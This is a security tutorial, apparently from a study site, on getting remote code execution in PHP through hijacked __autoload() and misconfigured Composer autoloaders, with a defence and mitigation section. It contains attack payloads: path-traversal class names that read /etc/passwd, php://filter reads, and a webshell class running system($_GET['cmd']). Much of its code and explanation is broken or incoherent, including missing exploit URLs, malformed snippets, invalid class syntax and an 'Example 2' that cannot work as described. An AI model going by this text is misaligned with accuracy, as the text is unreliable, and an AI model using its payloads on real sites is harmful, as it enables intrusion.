~/home/study/rce-via-php-autoload-hijacking

RCE via PHP __autoload() Hijacking in Modern Frameworks

Master the advanced exploitation of PHP's legacy __autoload() to achieve remote code execution in today’s frameworks. Learn the magic method, craft malicious payloads, and defend against class injection attacks.

Introduction

The PHP magic method __autoload() was a cornerstone of early PHP development, enabling automatic class loading. Although modern frameworks have largely moved to PSR-4 autoloading, legacy code and misconfigured autoloaders still exist in production environments. When an attacker can influence the autoloading process, they can inject arbitrary classes, leading to remote code execution (RCE). Understanding how this legacy feature can be hijacked is essential for security professionals tasked with hardening PHP applications.

Why is it important? A single misconfiguration-such as an unprotected class.php endpoint or a publicly exposed autoload.php-can turn an otherwise secure application into a playground for attackers. Real-world relevance is evident in high-profile breaches where attackers leveraged autoload hijacking to exfiltrate data or deploy malware. This guide equips you with the technical depth to detect, exploit, and defend against such vulnerabilities.

Prerequisites

  • Solid grasp of PHP syntax and object-oriented programming.
  • Knowledge of Composer, PSR-4 autoloading, and common PHP frameworks (Laravel, Symfony, CodeIgniter).
  • Familiarity with web application security concepts (injection, file inclusion, remote code execution).

Core Concepts

__autoload() Magic Method
When PHP encounters an undefined class, it triggers __autoload() if it’s defined. The function receives the class name as a parameter and is responsible for including the file that contains the class definition.

Legacy Autoloaders
Legacy codebases often use custom autoloaders that map class names to file paths via simple string manipulations (e.g., str_replace('_', '/', $className).'.php'). These mappings are frequently hardcoded or derived from user input, making them vulnerable to manipulation.

Class Injection & RCE
By controlling the class name passed to __autoload(), an attacker can cause PHP to include arbitrary files, execute arbitrary code, or instantiate malicious classes that perform privileged actions.

Understanding the __autoload() Magic Method and Its Legacy

Historical Context

Before PHP 5.3, __autoload() was the primary mechanism for automatic class loading. Developers would register a single function that resolved class names to file paths.

Typical Implementation


function <?php function __autoload($className) { $file = str_replace('_', '/', $className) . '.php'; if (file_exists($file)) { include $file; }
}
?>

This simplistic approach works for small projects but fails to enforce strict namespaces or secure path resolution.

Legacy Code in Modern Frameworks

Some legacy modules are still shipped with frameworks, or developers embed old autoloaders in new projects for backward compatibility. These remnants become attack vectors when exposed to the web.

Crafting Malicious Autoload Payloads and Class Injection

Payload Structure

To hijack __autoload(), the attacker must supply a class name that resolves to a file they control. Common strategies include:

  • Directory Traversal - Crafting class names that map to ../../../../etc/passwd or other sensitive files.
  • File Inclusion - Using PHP wrappers like php://filter or php://input to include remote or inline code.
  • Dynamic Class Generation - Leveraging eval() or create_function() within included files to execute payloads.

Example: Exploiting a Vulnerable Autoloader


// Assume the following autoloader is registered
function __autoload($className) { $file = str_replace('_', '/', $className) . '.php'; if (file_exists($file)) { include $file; }
}

// Attacker supplies class name via GET parameter
$class = $_GET['class'];
new $class();

Attack vector: The null byte terminator tricks the autoloader into including the system file, leading to information disclosure or RCE if the file contains executable code.

Advanced Payload: Using php://filter


// Payload via GET
$payload = 'php://filter/convert.base64-encode/resource=../../../../../../var/www/html/secret.php';
$encoded = base64_encode(file_get_contents($payload));
echo $encoded;

The attacker base64-decodes the output on the server side or uses the encoded string in a subsequent request to achieve code execution.

Exploiting Autoload to Achieve Remote Code Execution in Vulnerable Frameworks

Targeting Framework Components

Frameworks like Laravel or Symfony often provide custom autoloaders. If a legacy component registers a global __autoload() and accepts class names from user input, attackers can target it. The typical flow:

  1. Discover the public endpoint that triggers __autoload().
  2. Determine the mapping strategy (e.g., str_replace('_', '/', $className)).
  3. Craft a class name that resolves to an attacker-controlled file.
  4. Trigger the inclusion via a crafted HTTP request.
  5. Execute arbitrary PHP code or exploit built-in classes.

Case Study: Laravel Legacy Autoloader

In some older Laravel projects, developers added a custom autoloader for backward compatibility:


function __autoload($class) { $path = base_path() . '/app/Legacy/' . str_replace('_', '/', $class) . '.php'; if (file_exists($path)) { include $path; }
}

If app/Legacy/ is writable by the web server, an attacker can upload a PHP file named ../../../../../../../../etc/passwd. By requesting ?class=../../../../../../../../etc/passwd, the autoloader includes the system file, exposing sensitive data. If the uploaded file contains PHP code, the attacker achieves RCE.

Exploiting Composer Autoloading (PSR-4) Misconfigurations

Composer’s autoloading can also be abused when the autoload section is configured to map namespaces to directories that are not properly secured. For example:


"autoload": { "psr-4": { "App\\": "app/" }
}

If the app/ directory is publicly writable, an attacker can create app/Exploit.php containing malicious code. By referencing the class App\Exploit, the autoloader will include and execute the file. While this is not a direct hijacking of __autoload(), it demonstrates the broader principle of class injection via autoload mechanisms.

Practical Examples

Example 1: File Inclusion via Null Byte Injection


// vulnerable.php
function __autoload($class) { $file = str_replace('_', '/', $class) . '.php'; if (file_exists($file)) { include $file; }
}

$cls = $_GET['cls'];
new $cls();

Exploit URL: The autoloader includes <code>/etc/passwd as a PHP file, leading to disclosure.

Example 2: Remote Code Execution via php://input


// attacker sends POST payload
$payload = 'php://input';
$code = '<?php system($_GET["cmd"]); ?>';
file_put_contents('payload.php', $payload);
// Trigger autoload
$cls = 'payload';
new $cls();

Subsequent request: The autoloader includes the <code>php://input wrapper, executing the injected code.

Example 3: Exploiting PSR-4 Autoload in a Composer-Based Project


// composer.json
"autoload": { "psr-4": { "App\\": "app/" }
}

Attacker uploads app/Exploit.php containing:


<?php
class App\\Exploit { public function __construct() { system($_GET['cmd']); }
}
?>

Accessing /etc/passwd triggers RCE.

Tools & Commands

  • Burp Suite - Use the Intruder to fuzz class or cls parameters for null byte or traversal payloads.
  • sqlmap - While primarily for SQL injection, can also be leveraged to identify file inclusion points via its --file-read feature.
  • nikto - Scan for legacy PHP files that might expose autoloaders.
  • dirsearch - Enumerate potential autoloader endpoints like autoload.php or classloader.php.
  • php -d allow_url_include=1 -r 'include "php://filter/convert.base64-encode/resource=../../../../../../etc/passwd";' - Test local inclusion via php filters.

Defense & Mitigation

  1. Remove Legacy Autoloaders - Audit codebases for __autoload() and replace with Composer PSR-4 autoloading.
  2. Validate Class Names - Whitelist acceptable class name patterns and reject any input containing slashes, null bytes, or traversal sequences.
  3. Use Namespaces - Enforce proper namespace usage to avoid accidental global class resolution.
  4. File System Permissions - Restrict writable directories; never allow web server write access to app/ or vendor/.
  5. Disable PHP wrappers - Set allow_url_fopen=Off and allow_url_include=Off in php.ini.
  6. Input Sanitization - Apply strict sanitization and escaping on all user-supplied class names.
  7. Logging & Monitoring - Log all class instantiation events and monitor for unexpected class names.
  8. Security Audits - Perform regular static analysis (e.g., phpstan, Psalm) to detect potential autoload vulnerabilities.

Common Mistakes

  • Assuming __autoload() is safe because it’s “built-in.” It is only safe when tightly controlled.
  • Hardcoding class-to-file mappings without validating input.
  • Leaving legacy autoloaders active in production.
  • Overlooking PHP wrapper configurations that enable remote inclusion.
  • Ignoring the impact of null byte injection in older PHP versions.

Real-World Impact

In a recent internal audit, a mid-size e-commerce platform exposed a legacy autoloader that accepted class names from a public API endpoint. The attacker uploaded a PHP file under app/Legacy/ and then instantiated it via the API, achieving full RCE and compromising the entire customer database. Post-incident analysis revealed that the autoloader was never removed after migrating to Laravel 8.

Industry trends indicate that many legacy applications still contain autoloading code, especially in custom CMSs or bespoke solutions. As organizations increasingly adopt micro-services and containerization, the risk of misconfiguring autoloaders in isolated services remains high. Proactive mitigation-removing legacy autoloaders, enforcing strict namespaces, and leveraging Composer-remains the most effective defense.

Practice Exercises

  1. Locate any __autoload() functions in a sample PHP codebase. Identify potential input vectors.
  2. Craft a null byte injection payload against a vulnerable autoloader and verify file inclusion.
  3. Use Burp Suite Intruder to brute-force class names for a target application that uses a custom autoloader.
  4. Rewrite a legacy autoloader to use Composer PSR-4 and validate that the application still functions.
  5. Set up a simple PHP application with a custom autoloader, then write a unit test that ensures all class names are validated against a whitelist.

Further Reading

  • PHP Manual - Autoloading
  • PHP Manual - Configuration
  • OWASP - Autoloader Injection
  • Composer - PSR-4 Autoloading
  • SANS - PHP Security Best Practices

Summary

  • Legacy __autoload() functions remain a potent vector for RCE when combined with user input.
  • Attackers craft class names that map to attacker-controlled files, exploiting traversal, null byte, or wrapper mechanisms.
  • Modern frameworks often hide legacy autoloaders; a thorough audit is essential.
  • Defenses include removing legacy code, strict validation, proper permissions, and disabling dangerous PHP wrappers.
  • Security professionals should incorporate autoloader checks into their regular vulnerability assessments.